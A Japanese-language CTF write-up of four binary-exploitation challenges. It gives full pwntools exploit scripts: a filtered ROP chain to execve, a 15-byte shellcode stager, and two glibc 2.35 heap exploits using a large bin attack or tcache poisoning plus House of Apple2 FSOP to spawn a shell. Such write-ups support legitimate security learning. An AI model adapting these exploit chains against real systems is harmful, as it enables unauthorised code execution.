これは何

最近あったTHEM?CTFのwriteup+upsolveです。なおPwnは8問ありましたが、ここでは4問のみ記述します。理由は私が弱いからです。

warm-up

Ghidraによる解析を行った結果、read関数によるBoFが存在している。checksecの結果はcanary foundだが、Ghidraでは見えなかったため、このままROPに繋げられる。しかしcanaryは無いが、入力した値に0x2f、0x73、0x61、0x74が含まれているとreturnではなくexitしてしまう。このため、前述した4値が含まれないようなROPを作成すれば良い。なおオフセットは17*8バイトだった。下記Exploitはreadを行ってbss+0x100/bin/sh\x00を配置し、このアドレスを使ってexecve(bss+0x100, 0, 0)を実行している。

def check_payload(payload):
    for i in range(len(payload)):
        if payload[i] == 0x2f:
            print(f"0x2f found in {i:x}")
            return 1
        if payload[i] == 0x73:
            print(f"0x73 found in {i:x}")
            return 1
        if payload[i] == 0x61:
            print(f"0x61 found in {i:x}")
            return 1
        if payload[i] == 0x74:
            print(f"0x74 found in {i:x}")
            return 1
    return 0


DEBUG = False
def main():

    rop = ROP(elf)
    rop.raw(b"A"*(17*8))

    # read(0, elf.bss()+0x100, 8)
    rop.raw(0x401f9f)	        # pop rdi; ret
    rop.raw(0)
    rop.raw(0x40a00e)	        # pop rsi; ret
    rop.raw(elf.bss())
    rop.raw(0x485d2b)	        # pop rdx; pop rbx; ret
    rop.raw(8)
    rop.raw(0)
    rop.raw(elf.sym["read"])

    # execve(elf.bss()+0x1000, 0, 0)
    rop.raw(0x401f9f)	        # pop rdi; ret
    rop.raw(elf.bss())
    rop.raw(0x40a00e)	        # pop rsi; ret
    rop.raw(0)
    rop.raw(0x485d2b)	        # pop rdx; pop rbx; ret
    rop.raw(0)
    rop.raw(0)
    rop.raw(0x44ffc7)	        # pop rax; ret
    rop.raw(constants.SYS_execve)
    rop.raw(0x4909ae)	        # syscall

    payload = rop.chain()

    if(DEBUG):
        print(rop.dump())
        print(hexdump(payload))
        print(len(payload))
        print(f"elf.bss() = {elf.bss():#x}")
        assert(check_payload(payload) != 1)
        assert(len(payload) <= 288)

    conn.recvlines(2)
    conn.send(payload)
    sleep(1)	                # 上のsendは通常の入力で。下の入力はROPで動かしたread用の入力。しかし連続させると上の入力に上下どちらも吸われる
    conn.send(b"/bin/sh\x00")
    conn.interactive()

baby shellcode (upsolve)

Ghidraによる解析の結果、15バイトのシェルコードを受け取り、これを実行する。当然小さすぎるし書いてあったがstagerとのこと。15バイトのシェルコード実行直前のレジスタを見てみるとrdi, rsi, rdx, raxがrwxな領域へのアドレスを持っていた。このため、stagerとしては2個目のシェルコードを受け取るために、read syscallを発行するものを作成すれば良い。readはread(fd, buf, size)なので、rdiに0、rsiにrwxのアドレス、rdxに適当な値、raxに0を入れれば良い。

def main():
    conn.recvlines(3)

    # rax = 0     = read
    # rdi = stdin = 0
    # rsi = buf   = saved_rdi
    # rdx = size  = 0x0fff
    shellcode = asm(f"""
        xor edi, edi
        xor eax, eax
        mov edx, 0x0fff
        syscall
    """)
    assert(len(shellcode) <= 15)
    shellcode.ljust(15, b"\x00")
    conn.send(shellcode)
    sleep(1)

    shellcode = (b"\x90"*15) + asm(shellcraft.sh())
    conn.send(shellcode)

    conn.interactive()

heapshifter

よくあるHeap問。glibcのバージョンは2.35だった。

$ strings ./libc.so.6 | grep GNU
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.13) stable release version 2.35.

実行してみると以下のような感じ。

$ ./heapshifter
the heap remembers what you shift into it.

== heapshifter ==
1) shift in   (alloc)
2) drop       (free)
3) re-shift   (edit)
4) peek       (view)
5) leave

ここで、Ghidra等で2) drop (free)時の処理を見てみる。読みづらいが、free後にNULLで上書きされておらず、自明なUAFが存在する。

case 2:
  __printf_chk(1,"slot: ");
  fflush(stdout);
  slot = FUN_001015f0();
  if (0xf < slot) goto LAB_001014b7;
  if (*(void **)(&heap_addr_holder + slot * 8) == (void *)0x0) {
LAB_001014c3:
                  /* WARNING: Subroutine does not return */
    err_and_exit("empty slot");
  }
  free(*(void **)(&heap_addr_holder + slot * 8));
  pcVar2 = "dropped slot %ld\n";
  break;

なお、1) shift in (alloc)時にはslot及びsizeの制限が存在している。

   0 <= slot <=   15
1040 <= size <= 1232

また、3) re-shift (edit)時には入力がエンコードされてから格納される。 このエンコーディングはXORによるものなので、先にXORしておくと、エンコードしたものを攻撃対象側で再度エンコードさせ、結果的に目的の値を格納させることができる。 具体的には以下のようなコードをペイロード送信前に実行しておくと良い。

def encode_payload(payload):
    magic = b"\x53\x68\x1f\x74\x21\x6d\x65\x90"
    payload = bytearray(payload)
    for i in range(len(payload)):
        payload[i] = payload[i] ^ magic[i&7]
    return bytes(payload)

これら前提をもとに、UAFを悪用する方法を考える。UAFがあるということはfreeされたchunkのfdやbkなどを書き換え、任意アドレスをchunkとしてbinにつなげることができ、これをallocateすることで結果的にAAW/Rが可能である。ではAAR/Wが可能である場合何ができるだろうか。glibcが2.35であるため__free_hook/__malloc_hookの悪用はできない。正直AAR/Wがある状態のHeap問はFSOP程度しか思いつかないため、今回はHouse of Apple2を利用した。

また、House of Apple2を成功させるためには_IO_list_allの上書きが必要である。はじめに思いつく手法はtcache poisoningからのAAR/Wだが、今回はサイズ制限によって1040=0x410からのallocateしかできない。つまりunsortedやlarge binsを悪用して_IO_list_allを上書きする必要があった。このため、今回はLarge bin Attackを行うことで、_IO_FILE_plusを書き込むchunkのアドレスを_IO_list_allに書き込んだ。また、Large bin Attackではchunkのメタデータを含む先頭アドレスを書き込んでいるため、_IO_FILE_plusをchunkに書き込む際、先頭の0x10バイトはこちらでコントロールできない。詳細なHouse of Aplle2の解説は行わないが、要は偽造した_IO_FILE_plusのアドレスを_IO_list_allに保持させることで任意の処理を実行できるという攻撃である。この際、_IO_jump_t+0x68(_IO_FILE_plusが必要とする構造体の1つ)には関数のアドレス、_IO_FILE_plusの先頭には関数に渡す引数を設定する必要があった。しかし前述する通り、_IO_FILE_plusの先頭はコントロールできない(Large bin Attackによって_IO_list_allにはchunkの先頭があるため)。このため今回は、_IO_jump_t+0x68にOne Gadgetを配置することで引数を必要なくしている。

_IO_list_allはaddrの箇所から_IO_FILE_plusが開始していると思っている
        addr -> +---chunk---+
                | metadata  | <- " sh"を配置したい箇所
                +-----------+
                | user data | <- ユーザがコントロール可能な領域
                +-----------+

Exploitは以下の通りとなる。

# alloc
def alloc(slot, size):
    assert(0 <= slot <= 15)
    assert(1040 <= size <= 1232)
        
    conn.sendlineafter(b"> ", b"1")
    conn.sendlineafter(b"slot: ", str(slot).encode())
    conn.sendlineafter(b"size: ", str(size).encode())

# free
def free(slot):
    conn.sendlineafter(b"> ", b"2")
    conn.sendlineafter(b"slot: ", str(slot).encode())

# edit
def edit(slot, payload):
    conn.sendlineafter(b"> ", b"3")
    conn.sendlineafter(b"slot: ", str(slot).encode())
    conn.send(payload)

# view
def view(slot):
    conn.sendlineafter(b"> ", b"4")
    conn.sendlineafter(b"slot: ", str(slot).encode())

# exit
def exit():
    conn.sendlineafter(b"> ", b"5")

def encode_payload(payload):
    magic = b"\x53\x68\x1f\x74\x21\x6d\x65\x90"
    payload = bytearray(payload)
    for i in range(len(payload)):
        payload[i] = payload[i] ^ magic[i&7]
    return bytes(payload)

DEBUG = True
def main():
    alloc(0, 0x410 + 0x10)	# victim1
    alloc(1, 0x410)	        # consolidate guard
    alloc(2, 0x410)	        # victim2
    alloc(3, 0x410)	        # consolidate guard

    # large bin attackを行い、_IO_list_allにslot2のアドレスを書き込む
    # 1. slot0をlargebinへ
    free(0)
    alloc(4, 0x430)
    # 2. slot0からlibc/heap leak
    view(0)
    data_slot0 = bytearray(conn.recv(0x420))
    libc_leak = u64(data_slot0[0x0:0x8])
    libc.address = libc_leak - (libc.sym["main_arena"]+0x450)
    # 3. slot0のbk_nextsizeを&_IO_list_all-0x20に上書き
    data_slot0[0x18:0x20] = p64(libc.sym["_IO_list_all"]-0x20)
    edit(0, encode_payload(bytes(data_slot0)))
    # 4. _IO_list_allにslot2のアドレスを書き込む
    free(2)
    alloc(5, 0x430)

    # slot2のアドレスを読み出す
    # 一度目のview(0)ではfree(2)をしていないからslot2のアドレスがbkにつながっていない
    view(0)
    address_of_slot2 = u64(bytearray(conn.recv(0x420))[0x0:0x8])

    # house of apple2 
    # _IO_FILE_plusをslot2の先頭に配置する
    address_of_IO_FILE_plus = address_of_slot2
    address_of_IO_jump_t = address_of_IO_FILE_plus+0xe0
    address_of_IO_wide_data = address_of_IO_jump_t+0xa8
    address_of_IO_lock_t = address_of_IO_wide_data+0xe8

    # 今回はone_gadgetのアドレスを書き込んでいる(引数が操作できないため)
    _IO_jump_t = flat({
        0x68: libc.address+0xebc81
    }, filler=b"\x00", length=0xa8)

    _IO_wide_data = flat({
        0xe0: address_of_IO_jump_t,
    }, filler=b"\x00", length=0xe8)

    _IO_lock_t = b"\x00" * 0x10

    # _IO_list_allにはslot2のメタデータを含む先頭アドレスが書き込まれている
    # しかし、ユーザはメタデータの0x10バイト分を操作できない
    # 本来はoffset 0x0に"sh_0x00"を書き込み、_IO_jump_tの0x68にsystem()のアドレスを書き込む必要がある
    # 今回はoffset 0x0が操作できないので、one_gadgetでどうにかした
    _IO_FILE_plus = flat({
        #0x00: 0x00687320,
        0x20-0x10: 0x0,
        0x28-0x10: 0x1,
        0x88-0x10: address_of_IO_lock_t,
        0xa0-0x10: address_of_IO_wide_data,
        0xc0-0x10: 0x0,
        0xd8-0x10: libc.sym["_IO_wfile_jumps"]
    }, filler=b"\x00", length=0xe0-0x10)

    payload = (_IO_FILE_plus + _IO_jump_t + _IO_wide_data + _IO_lock_t).ljust(0x410, b"\x00")

    if DEBUG:
        info(f"libc leak: {libc_leak:#x}")
        info(f"libc base: {libc.address:#x}")
        info(f"_IO_list_all: {libc.sym["_IO_list_all"]:#x}")
        info(f"slot2: {address_of_slot2:#x}")
        info(f"_IO_jump_t: {address_of_IO_jump_t:#x}")
        info(f"_IO_wide_data: {address_of_IO_wide_data:#x}")
        info(f"_IO_lock_t: {address_of_IO_lock_t:#x}")
        info(f"_IO_FILE_plus: {address_of_IO_FILE_plus:#x}")

    edit(2, encode_payload(payload))
    exit()
    conn.interactive()

quantum clipboard

heapshipterとかなり似ているが、こちらはallocate時のサイズ制限が無い。UAFは一見なさそうだが、5. entangle slotsを利用することでヒープのアドレスを別のslotにコピーしておくことができる。このためentabgleでコピーしてからどちらかをfreeし、もう片方を使って3. edit fragmentなどすればUAFが可能である。サイズ制限は無いため、tcache poisoningが可能であり、任意AAW/Rが達成できる。あとは先程と同じようにHouse of Apple2で終了。Large bin Attackがない分楽である。

def alloc(slot, size, data):
    conn.sendlineafter(b"> ", b"1")
    conn.sendlineafter(b"> ", str(slot).encode())
    conn.sendlineafter(b"> ", str(size).encode())
    conn.sendafter(b"> ", data)

def view(slot):
    conn.sendlineafter(b"> ", b"2")
    conn.sendlineafter(b"> ", str(slot).encode())

# dataのサイズはalloc時に利用したもの
def edit(slot, data):
    conn.sendlineafter(b"> ", b"3")
    conn.sendlineafter(b"> ", str(slot).encode())
    conn.sendafter(b">", data)

def free(slot):
    conn.sendlineafter(b"> ", b"4")
    conn.sendlineafter(b"> ", str(slot).encode())

def entangle(src_slot, dest_slot):
    conn.sendlineafter(b"> ", b"5")
    conn.sendlineafter(b"> ", str(src_slot).encode())
    conn.sendlineafter(b"> ", str(dest_slot).encode())

def exit():
    conn.sendlineafter(b"> ", b"6")

def main():
    payload = b"A" * 0x410
    alloc(0, len(payload), payload)
    payload = b"A" * 0x20
    alloc(1, len(payload), payload)
    payload = b"A" * 0x410
    alloc(2, len(payload), payload)
    payload = b"A" * 0x20
    alloc(3, len(payload), payload)

    entangle(0, 4)
    entangle(2, 5)

    free(0)
    free(2)

    view(4)
    conn.recvuntil(b": ")
    data_slot0 = bytearray(conn.recv(0x410))
    libc.address = u64(data_slot0[0x0:0x8]) - (libc.sym["main_arena"]+96)
    addr_slot2 = u64(data_slot0[0x8:0x10])
    info(f"libc base: {libc.address:#x}")
    info(f"addr slot2: {addr_slot2:#x}")


    # binsを空にしておく
    payload = b"R"*0x410
    alloc(0, len(payload), payload)
    payload = b"S"*0x410
    alloc(2, len(payload), payload)
 
    addr_slot3 = addr_slot2 + 0x420
    addr_slot8 = addr_slot3 + 0x30 + 0x20*2
    info(f"addr slot8: {addr_slot8:#x}")

    payload = b"A" * 0x18
    alloc(6, len(payload), payload)
    payload = b"A" * 0x18
    alloc(7, len(payload), payload)
    payload = b"A" * 0x18
    alloc(8, len(payload), payload)
    payload = b"A" * 0x18
    alloc(9, len(payload), payload)

    entangle(8, 10)

    free(6)
    free(8)

    view(10)
    conn.recvuntil(b": ")
    data_slot8 = bytearray(conn.recv(0x18))
    data_slot8[0:8] = p64(safe_linking_mangle(addr_slot8+0x10, libc.sym["_IO_list_all"]))
    edit(10, bytes(data_slot8))

    # _IO_list_allに、slot2のアドレスを入れる
    info(f"_IO_list_all: {libc.sym["_IO_list_all"]:#x}")
    payload = b"A"*0x18
    alloc(11, len(payload), payload)
    payload = p64(addr_slot2+0x10).ljust(0x18, b"\x00")
    alloc(12, len(payload), payload)

    # slot2に_IO_FILE_plusを用意して発火
    addr_IO_FILE_plus = addr_slot2+0x10
    addr_IO_jump_t = addr_IO_FILE_plus+0xe0
    addr_IO_wide_data = addr_IO_jump_t+0xa8
    addr_IO_lock_t = addr_IO_wide_data+0xe8

    _IO_jump_t = flat({
        0x68: libc.sym["system"],
    }, filler=b"\x00", length=0xa8)

    _IO_wide_data = flat({
        0xe0: addr_IO_jump_t,
    }, filler=b"\x00", length=0xe8)

    _IO_lock_t = b"\x00" * 0x10

    _IO_FILE_plus = flat({
        0x00: 0x00687320,
        0x20: 0x0,
        0x28: 0x1,
        0x88: addr_IO_lock_t,
        0xa0: addr_IO_wide_data,
        0xc0: 0x0,
        0xd8: libc.sym["_IO_wfile_jumps"]
    }, filler=b"\x00", length=0xe0)

    payload = (_IO_FILE_plus + _IO_jump_t + _IO_wide_data + _IO_lock_t).ljust(0x410, b"\x00")
    edit(2, payload)

    exit()

    conn.interactive()